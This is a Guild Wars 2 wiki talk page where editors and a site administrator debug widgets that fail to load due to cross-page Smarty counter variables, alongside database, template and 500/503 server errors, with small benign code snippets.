(Reset indent) I am seeing a number of "Event info" widget-related errors in the web server error log, though I don't know how related they may be to this issue. For example:

PHP Notice:  Undefined index: text in /srv/www/sites/gw2w-en/extensions/Widgets/compiled_templates/c222774585f1ca4c63cfb30f9ff18ad9ffb59fc1_0.wiki.Event info.php on line 79
PHP Notice:  Trying to get property 'value' of non-object in /srv/www/sites/gw2w-en/extensions/Widgets/compiled_templates/c222774585f1ca4c63cfb30f9ff18ad9ffb59fc1_0.wiki.Event info.php on line 79

The problem is that I don't know how to reproduce it. Once "fixed" - by using the purge button on the top - the widget loading bug (let's call it this way) doesn't reappear, at least for a while. I'm not a widget expert either, so either Alex or Nightsky can help with this topic.

But I can give you an overview of the affected widgets and what they do.

• Widget:Game mode buttons is used to add buttons that allows to select a game mode (PvE, WvW, PvP) for split skills and traits (we use it if for example a skill does less damage in WvW/PvP than in PvE, not-bugged example: Meteor Shower). They are documented in the categories Category:Split skills and Category:Split traits, so viewing pages from this categories may yield you a bugged page. The bug is indicated by small gray buttons, none of them are highlighted (on default one button has to be highlighted, namely the PvE one), and when clicked nothing happens due to the widget not being loaded.
• Widget:Game link is used in literally all infoboxes that set an in-game id, this widget converts this id into an in-game chat link. The bug is indicated when the infobox line Game link has no value at the right. Normally, if you inspect it you will see something like: <span class="gamelink" id="gamelink-1" data-type="skill" data-id="<in-game id>" title="<in-game id>"></span>. The html id is incremented in order to support multiple ids on the same page. On bugged pages you will see incredible high html ids, for example <span class="gamelink" id="gamelink-220" data-type="skill" data-id="46849" title="46849"></span> that makes no sense and should never happen. I managed to get three consecutive id numbers (see a post above) after purging three sandbox pages with a game link in a row. Thus our assumption that this is somehow global, although obviously it shouldn't.
• Widget:Infobox map is used on several NPC and event pages and used in-game coordinates to display an interactive map. This bug is indicated that the bottom of the infobox says: Image(s) and then directly below it says Interactive map with no image inbetween. A correct page is for example: Lady Camilla.
• Your mentioned [[Widget:Event info]] is deprecated and isn't transcluded anywhere, but if it causes some errors I guess we can completly remove it/empty the page (again, not an expert, should ask Alex).

I understand that examples are important, so I'll list a few, under the condition that if someone else purges the page in the meanwhile the widget loading bug isn't there anymore.

• Widget:Game mode buttons and Widget:Game link bugged at:
  • Call of the Renegade
  • Gravity Well
  • Lesser Mark of Blood
  • Lesser Cleansing Fire
  • Mantra of Concentration
  • Manifest Sand Shade
• Widget:Infobox map bugged at:
  • Amusement Adjunct Cagri
  • Androchus the Hidden
  • Bronson

--Tolkyria (talk) 16:07, 10 September 2021 (UTC)

I've been further researching the server-side and this might be an issue with how the Widgets extension needs to be installed. It's a little quirky with how it handles the smarty library, so I can test a fix and see about getting it deployed to live if everything seems okay in dev with the change. Justin Lloyd (talk) 16:12, 10 September 2021 (UTC)

I have deployed the potential fix to my test wikis. Chieftain Alex, Nightsky: Can you help me understand how to tell if the problem has been fixed by providing, if possible, at least two examples of where the problem can occur and what I should expect to see? Justin Lloyd (talk) 17:54, 10 September 2021 (UTC)

I'm not sure you'll have an easy time to reproduce it on the test wiki on which probably few pages are getting parsed simultaneously so i'm not sure you'll be able to adequately test there but here's a paraphrase of two of the things that Tolkyria already helpfully outlined above that you could look out for:

1. Almost any mainspace page on the wiki has an API ID set in it's infobox and thus should show a chat code in the infobox. Or alternatively if it's still not working it won't and will also complain about a missing "gamelink" function in the js/browser console and the html will have a to high number when you inspect it, the first being less than one whch causes the lack of the function it complains about is missing.
2. Almost all POI pages should have a map (provided they have coordinates set in their infobox, which most should have; i think) and NPC pages too if they have coordinates set. Otherwise the map won't be present and.. i'm not sure what the console will complain about but the map not being present should be a simple tell.

To add to this; Widget:Test contains sufficient code to reproduce the problem. However i've initially had trouble with it (see also one of my comments further above, which states as much); with getting it to increase specifically, and it's still trouble and seems difficult. However it later did and while it wasn't by much (Two at most on the Widget:Test page itself after saving it after editing it a bit (which probably isn't the only way to get it to appear, however due to the rarity of it occuring it's diffucult to pin down why and when it's occuring what makes it occur) and five on one of my sandbox pages.) it proves it is sufficient code to reproduce it. However that it was so difficult to increase leads me to think that it might have to do with the scarcity of the Test_counter variable (set in the test widget) across pages and thus it being less likely to be parsed on multiple pages simultaneously; unlike say the Widget:Game link's GameLink_counter variable which seems to run into it much more often, presumably due to it's frequency of occurence on almost all mainspace pages. Nightsky (talk) 19:26, 10 September 2021 (UTC)

Nightsky, I appreciate the thorough response! I tested for quite a while over the last couple of days and I was not able to reproduce the problem in either the live wikis or my test environment. That said, I've scheduled a maintenance window for this Wednesday at 3 AM Pacific, though no downtime will be needed, to deploy the smarty library fix. I'll update here to confirm when it is done. Justin Lloyd (talk) 09:17, 13 September 2021 (UTC)

After looking through Special:Random while logged out a bit i've found a page where the widgets still fall over (Conjured Amalgamate Token (trophy)); so it still happens on the live wikis (At least on this one.) i'm afraid. But i'm glad you've found a potential fix for it.

And one thing i forgot to include about the PHP error: I'm not sure what the contents of the file it complains about are but the code of [[Widget:Event info|the widget here on the wiki]] has only 64 lines and no property named value in sight either so i'm not sure what to make of those errors. Other than, as far as i can tell from what i can see on the wiki they should probably not occur, i suppose. Nightsky (talk) 17:50, 13 September 2021 (UTC)

Ah, thanks for that link! I do see that page missing the game link code and "gamelink is not defined" in the browser console, but the game link is working fine on that page in my test environment. Hopefully that's because of the smarty library fix I deployed there. Fingers crossed that the live deploy on Wednesday fixes it! Justin Lloyd (talk) 17:58, 13 September 2021 (UTC)

Regarding: "I've found a page where the widgets still fall over". To be fair, the game link loading bug is much more spread than this comment suggests, I can't browse the wiki without stumbling across it: skills, items, skins. Also I performed an edit on Template:Equipment variant table row this weekend - this template allows to store different item variants of the same name, those several game ids are involved which probably makes it ideal for this bug - missing game links on most of the pages that transclude it afterwards, even finding the incredible high counter number id="gamelink-4566" which actually should have been id="gamelink-1". --Tolkyria (talk) 19:03, 13 September 2021 (UTC)

Well, i was hoping it would convey that i've stopped after the first occurence i've encountered when clicking on "Random page" a bit and not that it's the only occurence there is. Seems i haven't formulated it propperly enough to convey that. Hope this makes that clear. Nightsky (talk) 19:58, 13 September 2021 (UTC)

Chieftain Alex, Nightsky: I have deployed the smarty library fix. The page that Nightsky provided above, Conjured Amalgamate Token (trophy), seems to be okay now, so hopefully that's because the issue is resolved. Let me know if you still see any occurrences of the problem after this. Justin Lloyd (talk) 10:04, 15 September 2021 (UTC)

Visited 200 random pages and found only two occurences:

• Box of Lab Equipment (personal story reward 10) missing the game link in the infobox
• Assassin's Volcanic Stormcaller Short Bow missing item and skin link in the infobox

(purging the pages will probably fix the links - I did not trigger a purge to keep these as an example) I guess the wiki may need some time to fix all pages itself. —Kvothe (talk) 10:43, 15 September 2021 (UTC)

I just visited those two pages a few times and they did eventually fix themselves. This all sounds like a good sign, so I'm cautiously optimistic at this point. Thanks for your testing! Justin Lloyd (talk) 10:56, 15 September 2021 (UTC)

Since clicking on Random page now seems to bring up erroneous pages much less frequently than before i made a small script that'll redirect if the page seems fine and wont if it's not.

The script:

var r = mw.config.get("wgPageParseReport");
if (!r.cachereport.origin) {
	// The current page is looking normal.
	// Look for another page.
	document.querySelector("#n-randompage a").click();
} else {
	// The branch it should not get into.
	console.log(r.cachereport);
	// Things that seem common accross all affected pages.
	console.assert(r.cachereport.origin === "use1a-05-bbb2.aws.arena.net", r.cachereport.origin);
	console.assert(r.cachereport.ttl === 86400, r.cachereport.ttl);
	console.assert(!r.cachereport.transientcontent, r.cachereport.transientcontent);
}

Using that i managed to enounter four more pages (so far) that seem cached by that server. They all seem to have been cached after the fix was applied (They were cached at 20210915102239, 20210915101834, 20210915132624 and 20210915102323 respectively.) and while the second to last of them doesn't contain any widgets it seems to still have been cached (Or possibly even been generated?) by the wrong server. So while this seems to occur much less frequently now it might be because most pages are cached by now and congestion/conccurency/interaction during parsing is thus less likely to occur. It might need an update that invalidates all caching again to see if it still occurs at large or not (which if the three pages are any indication, it might (but at least then we'd have a lead as to why (as it might just be this again/still))), but at least those few pages still seem to have had it occur even past "10:04, 15 September 2021 (UTC)" (the time of the comment stating the potential fix was applied). Nightsky (talk) 17:20, 15 September 2021 (UTC)

Oops, sorry my bad, seems like I screwed up with a Template:Profession edit (I forgot that it's transcluded by Template:Skill infobox) and broke lots of Category:Split skills pages. --Tolkyria (talk) 21:56, 16 September 2021 (UTC)

With an upcoming elite specialization stream/beta and thus more skill/trait infobox edits, I hopefully deployed a temporary fix to Widget:Game mode buttons (see here) such that at least on main skill/trait pages we get properly working game mode buttons (note that the /history subpages which calls the widget several times are still bugged). Note that the skill in-game chat links are still bugged and will be even more bugged after skill/trait infobox edits.

I haven't figured it out completely yet, but is it possible to make the global variable $GameLink_counter "less global"? Before the CirrusSearch update the variable was global on the current page but not global within several pages, which seems to be the case right now (it gets incremented based on another pages variable value rather than starting by 1, thus the ifeq 1 check fails and the code isn't loaded). For a "less global" counter variable I would add the current page name to the variable name to ensure uniqueness between all other pages, for example $GameLink_counter_{$page} (which, as initially stated, I haven't figured out yet how this exactly could work, or if it even works; at least the documentation I read allows it, but my tests so far failed) --Tolkyria (talk) 11:52, 17 September 2021 (UTC)

Okay, at least from my point of view passing page={{PAGENAMEE}} (or page={{FULLPAGENAMEE}}; the extra E replaces whitespaces with underscores) to the widget and using it as $GameLink_counter_<!--{$page}--> seems to work. This should provide uniqueness to the counter variable such that it can't be incremented globally for whatever reason. The question is if this extra amount of work can be justified, especially for the highly used widget/template:game link. --Tolkyria (talk) 17:22, 17 September 2021 (UTC)

Nevermind, please ignore the my today's posts above. --Tolkyria (talk) 17:39, 17 September 2021 (UTC)

(Reset indent) After reports on Discord I visited random pages again of which 50/173 pages had some widget missing (e.g. game link or interactive map). Note not every page has such a widget so the ratio is pretty high. —Kvothe (talk) 15:44, 18 September 2021 (UTC)

At this point (bugged for 20 days now) we should start thinking of implementing a fix, even if it's only temporary, to provide wiki users the full wiki experience, the whole wiki information, the best wiki usability. Currently, we are clearly not providing it. --Tolkyria (talk) 11:44, 20 September 2021 (UTC)

Since we believe part of the issue is with the counter assignments, we need to start by removing those. I've briefly confirmed that without any counter logic whatsoever, if the widget is loading a script, it will fail when it reaches the second script (obvious I know but worth stating).

For uniqueness, we could:

Option 1: Store a counter variable using {{#vardefine:{{#expr:{{#var:widget_Infobox_map_counter|0}} + 1 }}}} at wrapper template level, then pass that counter value to the widget in a widget parameter such as $widget_count. Then use javascript to check if the counter variable is equal to 1, if so, load the script. If not, throw an error message to the console.

Option 2: Store a counter variable using {{#vardefine:{{#expr:{{#var:widget_Infobox_map_counter|0}} + 1 }}}} at wrapper template level, then pass that counter value to the widget in a widget parameter such as $widget_count. Then use smarty to check if the counter variable is equal to 1, if so, load the script.

Option 3: Save a global javascript variable to the page with the first script, and check for its existence.

Option 4: Split the script out of the rest of the widget, store it on a subpage, and call the script using ifeq logic at wrapper template level.

Option 5: Load the script at common.js level - in terms of execution, inline widgets normally load before any common.js requests are made, so we need to consider race conditions. Anything needing jquery obviously waits for the core MW stuff already, but the front end site js takes even longer to load.

(fwiw: I suspect if we did the counter logic at wrapper template level, we could then create uniquely identified output elements, e.g. npcmap1, npcmap2, and then if we anonymised some functions we could actually have more than one map)

I have just implemented Option 3 on Widget:Infobox map as a trial. I suspect that Option 2 would however be much the easiest to implement. Please can I have suggestions for any further options that I have not considered. -Chieftain Alex 18:12, 20 September 2021 (UTC)

My first idea was using a personalized counter variable $GameLink_counter_<!--{$page}-->, see above, but it failed for whatever reason as it got incremented globally like the current bugged approach (I guess either the $page variable was omitted and it was treated as $GameLink_counter_, or the counter variable is incremented independently from variable name in some cases).

My second approach would have been to pass {{#var: <template>-already_called|{{#vardefine:<template>-already_called|+}}}}. Thus the widget check would keep the current counter logic, enhanced with an additional fallback check for the cases where the counter variable is bugged: <!--{if $GameLink_counter eq 1 || $already_called eq ""}-->. In the end I guess for the game link or game mode button widget the counter doesn't really matter, even if it skyrockets, as long as the code itself is executed once. This would also allow to return easily to the old code if this gets fully fixed. --Tolkyria (talk) 19:05, 20 September 2021 (UTC)

@Tolkyria While i agree the wiki experience is currently not the best it could be i fear implementing a fix here on the wiki could postpone the fixing of whatever the underlying issue is. And i'd personally rather see the underlying issue fixed than potentionally have it bite us later in another form. Not saying that it will, but it probably could. Though if it's so pressing then surely something can be done. Though then don't later say i didn't warn about it.

And as for with the counter. I would assume it worked and never got truncated to only $GameLink_counter_, however i would further assume that you might have encountered interfearance from the same page, and thus the same variable name, being parsed multiple times concurrently.

@Alex On short notice i can only think of two things:

1. For #1 and #2 you could use either {{#vardefineecho:{{#expr:{{#var:widget_Infobox_map_counter|0}} + 1 }}}} or {{increment|widget_Infobox_map_counter}}{{#var:widget_Infobox_map_counter}} instead.
2. The widgets could be made into modules; as modules are only loaded the first time they are imported. Though this would probably require subpages to work but with them there'd be the permissions be a problem again.

Other than that i agree on #2 seeming the easiest.

@Justin Would it be possible to look into this again and iterate on a fix for it before continuing on the search issue? Alternatively once there's a potential fix for it deployed again, in the time while we test to see if it fixes it under load continuing on the search issue (or any other one really) already is also something that i could see possibly working out; if that would be possible? Nightsky (talk) 19:32, 20 September 2021 (UTC)

When you say modules, is that simply bunging the contents of the script tag onto another page, protecting it (like Widget:Map floors/loader), and then writing <script type="module" src="https://wiki.guildwars2.com/index.php?title=Widget:Map_floors/data&action=raw&ctype=text/javascript"></script> (with the key bit being the "module" type attribute)? -Chieftain Alex 20:09, 20 September 2021 (UTC)

You'd have to do a few changes to make it work that way but basically yes. More elaborately you'd have to export the gamelink method at the end of the newly created page and then import it in the small code bit at the end of the widget so it's visible there; e.g. like the following for Widget:Game link:

New subpage:

<!-- Imagine contents of the first script tag currently in the widget here. -->

export {
	gamelink
};

New structure of the second script tag currently in the widget:

<script type="module">
import {
	gamelink
} from "/index.php?title=Widget:Map_floors/data&action=raw&ctype=text/javascript";

gamelink('gamelink-<!--{$GameLink_counter}-->');
</script>

Unfortunatelly the tags for substitution by smarty will have to stay in the widget itself and i'm not sure how best to handle them but the above would work; even if the counter skyrockets.

And even more unfortunatelly while that works for js, css on the other hand would still be duplicated a lot i've noticed just now, so while modules would have been nice for easily sharing things between widgets, #2 is probably the best option. Nightsky (talk) 23:34, 20 September 2021 (UTC)

Can we get a fix also for Game link and Game mode buttons which are more often used than the NPC infobox map? I tried my approach on Widget:Test, passing an additional check variable already_called={{#var: <template>-already_called|{{#vardefine:<template>-already_called|+}}}} (add to the template page) and checking <!--{if $GameLink_counter eq 1 || $already_called eq ""}--> (add in the widget) afterwards. I tried it on my sandbox and the id counter was incremented way too high, the first one was gamelink-901 instead of gamelink-1, but due to additional or-check the widget code was executed once. However, not sure how my approach turns out in large scale, since game link is used on ~58000 pages. --Tolkyria (talk) 09:15, 22 September 2021 (UTC)

Bandaid implemented on Widget:Game link. Computation is now done in common.js. In terms of page loading speed, chat links will be created later in the process, but it should work... hopefully more reliably than the random errors of widgets at the moment. Maybe we should look at mw:Extension:Scribunto and lua as an alternative if we cannot depend on widgets? -Chieftain Alex 11:29, 22 September 2021 (UTC)

Thanks! These are the little things that make a difference and are only noted once they are not working, good to have the game link back.

May I suggest to replace the placeholder with "..." or "loading…" compareable the trading post prices, because the current placeholder (for example "placeholder: skill #12345") takes two lines in the infobox which is reduced to one line once finished loading, causing an awkward infobox size jump. --Tolkyria (talk) 18:25, 22 September 2021 (UTC)

I'm ok with your suggestion (even though i find the actual placeholder text more useful I understand your point). You have widget editor rights, change it. -Chieftain Alex 21:10, 22 September 2021 (UTC)

Regarding Scribunto. I'm not familiar with lua but unless i'm missing something it doesn't seem like it would come with a way to perform http(s) requests by default. (And if it does and i'm just not seeing it, it would seem like something they'd remove as part of securing it for mediawiki use.) So unless it's possible to change it so that https requests can be performed in some way it probably won't do well as a replacement for all Widgets; at least not for those requiring the API. Just something to keep in mind that might need to be figured out. Nightsky (talk) 04:52, 23 September 2021 (UTC)

(Reset indent) I'm annoying again. Various thoughts and (rhetorical) questions:

1. The site notice is now there for almost three weeks stating "Widgets are experiencing technical difficulties", meanwhile neither any widget nor this topic here have been edited. How do we procede?
2. Have we figured out yet why the global widget variables are more global than intended (getting incremented over several pages) and why did it start after implementing a new search engine?
3. Haven't we reached a point where we have to admit that the current global widget variable increment approach to avoid duplicate code execution has failed? Why aren't we implementing a new, properly working and consistent approach that provides the wiki users to a bug-free experience. Are we hoping that the bug is fixed in the backend or are we just lazy? This may sound harsh, but after all I think that this bug report could be easily closed with a couple hours of work, rewriting all widgets.
4. Moving the game link code into common.js isn't ideal either. At least for me the common.js fails to load properly on a regular basis, forcing me to reload the page again. In my opinion the previous pure widget approach (of course excluding any of the current issues) was much more consistent in displaying the information, hence much more wiki user friendly.
5. I recently adjusted the widget Filter table to work also for lists and added it to the templates related skills/traits, thus heavily increasing the number of widget calls. Editing one of the many required (cascading) subtemplates results in breaking all related skills/traits filter boxes.

--Tolkyria (talk) 15:13, 13 October 2021 (UTC)

4 - Yes I too have the common.js not working fairly often and the "loading..." text remaining is annoying. At least it can however be resolved by locally refreshing the page, something which doesn't usually work for bugged widgets.

1 - I have blanked the sitenotice, it's not helpful having it up imo (gives the false impression that we're actively looking into it - afaik we're not). We know its a bunch of crap that the widgets are defective, and most of the JS issues by comparison are resolved by a simple F5 refresh, not a Purge.

2 - Believe nobody is actively looking into this. Justin is afaik focussing on the wiki's MW 1.36 upgrade (pinning our hopes on this fixing the performance issue leading to 404's since the slowness corresponded with the 1.35 upgrade).

3 - Personally I haven't been bothered by that many widget not loading errors due to the count variable, at least, not enough to justify my time editing all the widgets right now. We should make a list of which widgets use what and then I'll slowly work through them (I'm not the only one with widget permissions though). Leaving a few weeks between changing the first one (event timer) to use the JS counter instead of the Widget counter suggests to me that JS counter solution has been effective (its our most visited wiki page except the main page, and I haven't seen any complaints about it not working) - I think we reproduce that band-aid fix on all other single-page-use widgets without any problems.

5 - You can revert yourself if you want, seems dumb to introduce something that breaks content.

-Chieftain Alex 17:30, 13 October 2021 (UTC)

Has any testing in the 1.36 dev wikis been done to see if the Widgets issues may be resolved by the upgrade? I'm also wondering if the /wiki/undefined URLs about which I'd recently asked may be related to these Widgets issues. Justin Lloyd (talk) 17:45, 13 October 2021 (UTC)

Some of the pages calling the /wiki/undefined link don't use widgets at all so I didn't think it was related tbh. -Chieftain Alex 17:49, 13 October 2021 (UTC)

Fair point, thanks, Alex. At least that narrows down the possible culprits for those URLs. Justin Lloyd (talk) 17:52, 13 October 2021 (UTC)

Visited what feels like 100 pages on the dev wiki and I didn't encounter a single widget error. (note it's still using a copy of the live wiki from the 14th of September, which pre-dates any widget changes we made to the game link widget) -Chieftain Alex 18:01, 13 October 2021 (UTC)

Thanks, Alex. That sounds promising, though feel free to test changes to that widget in dev to see if the issue gets reproduced there. Justin Lloyd (talk) 18:21, 13 October 2021 (UTC)

(Reset indent) I would be interested to hear if anyone can produce the widget bug post upgrade still. -Chieftain Alex 21:34, 20 October 2021 (UTC)

Kinda hard to prove non-existence but so far I couldn't reproduce it in my sandbox. The widget game mode buttons wasn't adjusted for skill and trait /history pages (overall used on several hundred pages), so far I haven't found there a bugged page either. --Tolkyria (talk) 23:25, 20 October 2021 (UTC)

I'm hopeful we might be able to revert the common.js script version of game link then - it wasn't as good. -Chieftain Alex 05:08, 21 October 2021 (UTC)

I edited Skill infobox/historical today which forces a rebuild of skill and trait /history pages, where some of them are using the widget game mode buttons. It looks quite promising, no bugged widget occurence found yet, before the MW 1.36 upgrade such edits usually broke the widget global variable counter pretty fast and consistent, as the template edit affects several page and hence rebuilds at the same time.

I don't know how bold we are or if it's too soon, but maybe we could start thinking of reverting some of the temporarily adjustments. --Tolkyria (talk) 09:59, 21 October 2021 (UTC)

"rebuilds at the same time" Oh, do they? I thought it would only invalidate all pages using a template for it to be then recreated the next time it is viewed, so not necessarilly in a concurrent way; though i also do not know this and am only assuming it so it might verry well be incorrect. Nightsky (talk) 18:20, 21 October 2021 (UTC)

Obviously for me as a front end user this is the same, I can only know that the page has rebuilt if I check it, otherwise I honestly don't know. --Tolkyria (talk) 18:47, 21 October 2021 (UTC)

I have reverted my change to Widget:Game link. I will leave the common.js script in place for a bit whilst the changes propagate; should be able to leave it there as I used a specific class for the script not provided by the widget version. -Chieftain Alex 06:22, 25 October 2021 (UTC)

Widget:Game mode version php error log entries

(Reset indent) Chieftain Alex, I noticed that since the upgrade there are a huge number of warnings (thousands per day) in the web servers' system logs about the "Game moode buttons" template similar to the warnings about the "Event info" widget back in September:

PHP Notice: Trying to get property 'value' of non-object in /srv/www/sites/gw2w-en/extensions/Widgets/compiled_templates/0a967bede3563724fc5399655d3c11157d05f1fa_0.wiki.Game mode buttons.php on line 34

I can send you the entire compiled template file if you like, but the offending line 34 is the if-statement in this block :

$_smarty_tpl->_checkPlugins(array(0=>array('file'=>'/srv/www/sites/gw2w-en/extensions/Widgets/vendor/smarty/smarty/libs/plugins/function.counter.php','function'=>'smarty_function_counter',),));
echo smarty_function_counter(array('assign'=>"GameModeButtons_counter",'name'=>"GameModeButtons_counter"),$_smarty_tpl);
if ($_smarty_tpl->tpl_vars['GameModeButtons_counter']->value == 1 || $_smarty_tpl->tpl_vars['scope']->value == '') {?><!--

 Only load the CSS and javascript once per page.

--><?php echo '<script'; ?>

I don't know how relevant this is to the recent widgets issues, but please let me know what I can do to help further troubleshoot this. Justin Lloyd (talk) 19:50, 27 October 2021 (UTC)

If you want to email me the entire log entry for this occurrence i'll take a look. Sounds like a slightly different issue.

Speaking plainly, this particular widget is the only one written in such a fashion (lots of reliance on smarty functions) and we can rewrite it from scratch to have similar functionality + should do so. I will try and get this done tomorrow. -Chieftain Alex 20:54, 27 October 2021 (UTC)

Sent, thanks! Justin Lloyd (talk) 21:12, 27 October 2021 (UTC)

Working prototype with jquery over at User:Chieftain Alex/sandbox4 (visually should be identical). Ideally we should be able to do it without jquery so that'd be the next stage of rewrite (small chunks currently replicated from the original widget). Diff -Chieftain Alex 20:43, 28 October 2021 (UTC)

Updated the widget this morning. Please let me know if the php errors stay the same or decrease. -Chieftain Alex 08:10, 30 October 2021 (UTC)

Now updated to non-jquery. -Chieftain Alex 11:29, 30 October 2021 (UTC)

I haven't seen any messages in a few days now, so the issue appears to be resolved. Thanks! Justin Lloyd (talk) 12:48, 1 November 2021 (UTC)

"Dropped by" Template Bug

I happened to come across a odd issue with the Template:dropped by (or whatever data it is trying to pull from) when viewing the Ley-Infused Sand page. There is a extra row in the table with the only data being displayed is [[Bounty#drop1|]] which I assume is meant for bounty targets, but it isn't being parsed correctly. I am unfamiliar with the exact nature and setup used on this wiki, I do know it makes heavy usage of SMW so I wouldn't be surprised if that was part of the issue. Dave247 (talk) 11:43, 27 September 2021 (UTC)

Thanks! We performed a SMW storage change, from a plain page property to a more detailed SMW subobject (allowing to store additional dropped item specific information, e.g. individual level range or location, instead of relying on the general NPC infobox data), see Template talk:Drops table row#Template update. Thus the result format Dropped by also got slightly changed, resulting in the incompletely parsed wiki code as the page Bounty misses the property Has canonical name. To be honest, I should have checked if there are any non-NPC pages that use this template. Should be fine now. --Tolkyria (talk) 12:27, 27 September 2021 (UTC)

Aha I knew SMW was related somehow. As this specific usage is likely rare it's very easy to be forgotten about when making changes. Anyway glad to help! Dave247 (talk) 09:21, 28 September 2021 (UTC)

Page forms non-loading script

Visiting the page "Special:RunQuery/Base ingredients query", i.e. https://wiki.guildwars2.com/index.php?title=Special:RunQuery/Base_ingredients_query&Base_ingredients%5Bitem%5D=Oysters%20with%20Spicy%20Sauce&Base_ingredients%5Bid%5D=12058&Base_ingredients%5Bquantity%5D=1&_run and receiving an error in the console telling me the script isn't loading

Loading failed for the <script> with source “https://wiki.guildwars2.com/load.php?lang=en&modules=ext.dismissableSiteNotice%2Cpageforms%2Cpopups%7Cext.echo.api%2Cinit%7Cext.pageforms.autogrow%2Cbrowser%2Ccheckboxes%2Cdatepicker%2Cdatetimepicker%2Ceditwarning%2Cfancybox%2Cfullcalendar%2Cimagepreview%2Cjstree%2Cmain%2Crating%2Cselect2%2Csortable%2Csubmit%2Cwikieditor%7Cjquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2Ccookie%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.ForeignApi%2CString%2CTitle%2CUri%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2CjqueryMsg%2Clanguage%2Cutil%7Cmediawiki.ForeignApi.core%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%2Cstartup%7Cmediawiki.widgets.DateInputWidget%2Cdatetime%7Cmediawiki.widgets.DateInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-moderation%2Cicons-movement%7Cuser.defaults&skin=monobook&version=e0jbj”. index.php:1:1

I personally can't reproduce this bug in browsers other than firefox, but I asked the wiki discord and other people have been able to reproduce this issue on mobile too. (May not just be firefox) -Chieftain Alex 20:23, 7 April 2021 (UTC)

The link just worked for me on Firefox (also on Edge, fwiw). Can you confirm it's still a problem? Justin Lloyd (talk) 10:53, 8 April 2021 (UTC)

Can confirm it occasionally happens on any query form. -Chieftain Alex 17:26, 17 April 2021 (UTC)

Haven't experienced this one in a while, archiving. Re-raise if encountered again. -Chieftain Alex 09:59, 18 November 2021 (UTC)

Database errors, page loading issues and 500/503 errors

Marking this subset as resolved as I haven't seen any of these post-update for a while now. Create a new thread if required. -Chieftain Alex 09:59, 18 November 2021 (UTC)

Database error

In the last hour I have received the following message a few times. (Also reported by two on discord.)

My error a few minutes ago (page "Pact Fleet Torch"):

Database error
A database query error has occurred. This may indicate a bug in the software.
[b1f577ece21966fca2e53c2f] 2021-07-20 13:23:30: Fatal exception of type "Wikimedia\Rdbms\DBQueryError"

(earliest other reported)

[e58cae12cc2d32cb2430af8e] 2021-07-20 12:48:33: Fatal exception of type "Wikimedia\Rdbms\DBQueryError"

(second report, page "Stalker Visage")

[7a4d03133449ba65a5293a21] 2021-07-20 13:02:52: Fatal exception of type "Wikimedia\Rdbms\DBQueryError"

—Kvothe (talk) 13:35, 20 July 2021 (UTC)

This has happened a few times now due to occasional heavy database loads are causing the wiki to fail over to the secondary database node, which is read-only. (I believe the heavy loads are due to the occasional heavy text search that can generate a large database query result.) I'm working on a solution to this issue, part of which is the CirrusSearch implementation project that is in its early stages. Justin Lloyd (talk) 13:39, 20 July 2021 (UTC)

[64eb3642b50233d2acfdb4dd] 2021-09-03 06:54:08: Fatal exception of type "Wikimedia\Rdbms\DBQueryError"

-Chieftain Alex 06:54, 3 September 2021 (UTC)

[f0d184bad624896a048015db] 2021-09-25 18:14:50: Fatal exception of type "Wikimedia\Rdbms\DBQueryError"

Whilst adding a redirect to Resilient +5 Agony Infusion. Subsequently worked OK. -Chieftain Alex 18:17, 25 September 2021 (UTC)

Page Loading Issues

Is there something wrong with the Wiki? Last few days pages are pretty slow loading, but today it is so much worse. Lots of 503 (Backend Fetch Failure) (Got one on this edit) errors, and it takes between 30 seconds and 2 minutes to load a page or any changes. I suppose it could be me, but I'm not having any issues with the Forum or any other Guild Wars 2 sites. Inculpatus cedo (talk) 17:57, 4 August 2021 (UTC)

This is a known backend issue that we are working on. Justin Lloyd (talk) 18:08, 4 August 2021 (UTC)

I am still investigating this, the brief maintenance was a necessary step. Justin Lloyd (talk) 19:31, 4 August 2021 (UTC)

I see there are several posts about this issue on the forums. As well as issues with the game. No idea if the Wiki and the game share anything. I hope it is resolved shortly, as it surely discourages using the Wiki. (Oh, and trying to purge a page gives a 'Semantic Wiki tried to purge and failed' error.) Inculpatus cedo (talk) 19:56, 4 August 2021 (UTC)

Hi all. We are very aware of this issue that is affecting all of our GW1 and GW2 wikis. Yesterday I was able to implement a potential mitigation (which is looking good so far) and I have a longer-term solution in the works, part of which includes the upcoming CirrusSearch implementation. Justin Lloyd (talk) 17:54, 5 August 2021 (UTC)

Yes, it seemed to clear up last night, so thanks. (Well, until adding this comment.) =P Inculpatus cedo (talk) 18:01, 5 August 2021 (UTC)

It's baaack! Seems to have difficulty loading pages again. Inculpatus cedo (talk) 19:57, 25 August 2021 (UTC)

For the record; its never been gone. It only seems to happen when the wiki's under load though, so it has been most pronounced on tuesdays and well.. other days the wiki's under load; on whichever days that happens to be the case. Nightsky (talk) 16:11, 30 August 2021 (UTC)

As far as i can tell this seems to have been better the tuesday last week but i've no way to tell if traffic was on the same level as the tuesdays past so not sure how representative it is. For what it's worth bot edits still only happen verry slowly, though not sure if this is nor by how much it is if it is related to general slowness of the wiki. Observing this for a few more tuesdays probably won't hurt either way though, will it? Nightsky (talk) 17:50, 13 September 2021 (UTC)

(Reset indent) Just for trending, wiki performance slowed down about an hour ago again. -Chieftain Alex 20:36, 13 September 2021 (UTC)

Seems to be slow again at the moment too. Nightsky (talk) 21:15, 14 September 2021 (UTC)

Pretty similar time of day to yesterday, again super slow performance. -Chieftain Alex 21:58, 15 September 2021 (UTC)

Wiki error 500 and 503

I've been getting various error messages when trying to open GW2 Wiki pages:

Quote:

500 Internal Server Error

nginx/1.20.1

and

Quote:

Error 503 Backend fetch failed

Backend fetch failed
Guru Meditation:

XID: 156598432

Varnish cache server

I also reported this at the forums but it yet has to receive a reply from ArenaNet

https://en-forum.guildwars2.com/topic/99862-gw2-wiki-error-503-backend-fetch-failed/

Hyper (talk) 18:46, 25 August 2021 (UTC)

This is likely related to the problem(s) also causing the things described in the #Database error and #Page Loading Issues section above. Which would mean that they're already aware of it and working on it. Nightsky (talk) 16:11, 30 August 2021 (UTC)

Unfortunatelly this seems to be still occuring. I've had three 500's, at least a dozen 504's within the last hour or so and counting. Nightsky (talk) 21:15, 14 September 2021 (UTC)

